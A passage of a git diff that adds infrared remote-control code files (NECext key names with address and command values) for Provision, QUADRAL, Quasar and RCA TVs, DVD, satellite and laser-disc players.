KEY_OPEN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 44 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 46 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 47 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4A 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4C 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4D 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 51 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 52 00 00 00 +# +name: enter/play +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir b/assets/resources/infrared/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir new file mode 100644 index 000000000..a71fe61c6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 03 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 04 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 05 00 00 00 +# +name: pal/ntsc +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 06 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 08 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 09 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0E 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 10 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 11 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 12 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 13 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 17 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 1F 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 40 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 41 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 42 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 44 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 45 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 46 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 47 00 00 00 +# +name: FastRWD +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 48 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 49 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 4A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 4B 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 4C 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 4D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 4F 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 50 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 51 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 52 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 53 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 54 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 55 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 56 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5C 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5D 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir b/assets/resources/infrared/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir new file mode 100644 index 000000000..ca05b5cef --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 09 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0B 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0D 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0E 00 00 00 +# +name: AUDIO_UP +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0F 00 00 00 +# +name: AUDIO_DOWN +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 10 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 11 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 12 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 13 00 00 00 +# +name: AFT +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 14 00 00 00 +# +name: DECODER +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 15 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 15 00 00 00 +# +name: RL +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 16 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 17 00 00 00 +# +name: CHS +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 18 00 00 00 +# +name: LNB +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 19 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 1A 00 00 00 +# +name: HV +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 1B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 1C 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 1D 00 00 00 +# +name: CKU +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 1E 00 00 00 +# +name: AUTO_ON +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Quasar/TV/128,0.ir b/assets/resources/infrared/_CSV-IRDB_/Quasar/TV/128,0.ir new file mode 100644 index 000000000..490bec998 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Quasar/TV/128,0.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: SLEEP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 19 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 21 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 32 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 34 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 35 00 00 00 +# +name: RTUNE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 37 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 39 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 3D 00 00 00 +# +name: ACTION +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 52 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/DSS/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/RCA/DSS/15,-1.ir new file mode 100644 index 000000000..fcaa3b856 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RCA/DSS/15,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/DSS/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/RCA/DSS/7,-1.ir new file mode 100644 index 000000000..6ef6263dc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RCA/DSS/7,-1.ir @@ -0,0 +1,332 @@ +Filetype: IR signals file +Version: 1 +# +name: HD_DIRECT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: HD_TOGGLE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: ANTENNA +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: MENU/SELECT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: SERVICE_MENU +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: RECORD_PROGRAM +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: GO_BACK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 27 00 00 00 +# +name: ON/OFF +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2C 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 35 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 36 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 39 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3A 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3A 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3B 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3C 00 00 00 +# +name: TOGGLE_MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3F 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 53 00 00 00 +# +name: TIMER/INCREMENT_TIME +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 56 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 57 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 59 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 61 00 00 00 +# +name: WHO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 61 00 00 00 +# +name: WHO_/_INPUT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 61 00 00 00 +# +name: HD_OFF +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 88 00 00 00 +# +name: HD_ON +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 8A 00 00 00 +# +name: FETCH +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 93 00 00 00 +# +name: S-OUTPUT_4:3_FULL +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 96 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: A3 00 00 00 +# +name: ALTERNATE_AUDIO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: B0 00 00 00 +# +name: DISPLAY:_4:3_FILL +type: parsed +protocol: NECext +address: 07 00 00 00 +command: C8 00 00 00 +# +name: S-OUT_4:3/16:9_TOGLE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: C8 00 00 00 +# +name: DISPLAY:_4:3_FULL +type: parsed +protocol: NECext +address: 07 00 00 00 +command: C9 00 00 00 +# +name: DISPLAY:_4:3_NORMAL +type: parsed +protocol: NECext +address: 07 00 00 00 +command: CA 00 00 00 +# +name: ANTENNA_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: CB 00 00 00 +# +name: ANTENNA_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: CC 00 00 00 +# +name: SATILITE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: CD 00 00 00 +# +name: LAST_SELECTED_ANT. +type: parsed +protocol: NECext +address: 07 00 00 00 +command: CE 00 00 00 +# +name: OK_/_I +type: parsed +protocol: NECext +address: 07 00 00 00 +command: F4 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/DVD Player/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/RCA/DVD Player/5,-1.ir new file mode 100644 index 000000000..2c9aa2eab --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RCA/DVD Player/5,-1.ir @@ -0,0 +1,374 @@ +Filetype: IR signals file +Version: 1 +# +name: EXIT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: FWD_>> +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: REV_<< +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1F 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: SKIP_FWD_>> +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: SKIP_REV_<< +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 22 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 38 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 39 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 39 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3B 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 57 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 57 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 58 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 59 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 59 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 76 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 77 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 78 00 00 00 +# +name: SUBTITLE_ON/OFF +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 80 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 94 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: B0 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: F4 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir b/assets/resources/infrared/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir new file mode 100644 index 000000000..c8d6bcee3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: SPEED_< +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 04 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 06 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 08 00 00 00 +# +name: SELECT_> +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 10 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 15 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 19 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 1C 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 1D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 1F 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 20 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 22 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 2A 00 00 00 +# +name: CHAP/TRACK_<< +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 2C 00 00 00 +# +name: CHAP/TRACK_>> +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 2D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 35 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 36 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 39 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 3C 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 46 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 4A 00 00 00 +# +name: DISC_SIDE_B +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 64 00 00 00 +# +name: DISC_SIDE_A +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 65 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 94 00 00 00 +# +name: REPEAT_A_*_B +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 95 00 00 00 +# +name: HI-LITE_INTRO +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: A5 00 00 00 +# +name: CHAP_*_TIME +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: D0 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: D1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/TV/14,-1.ir 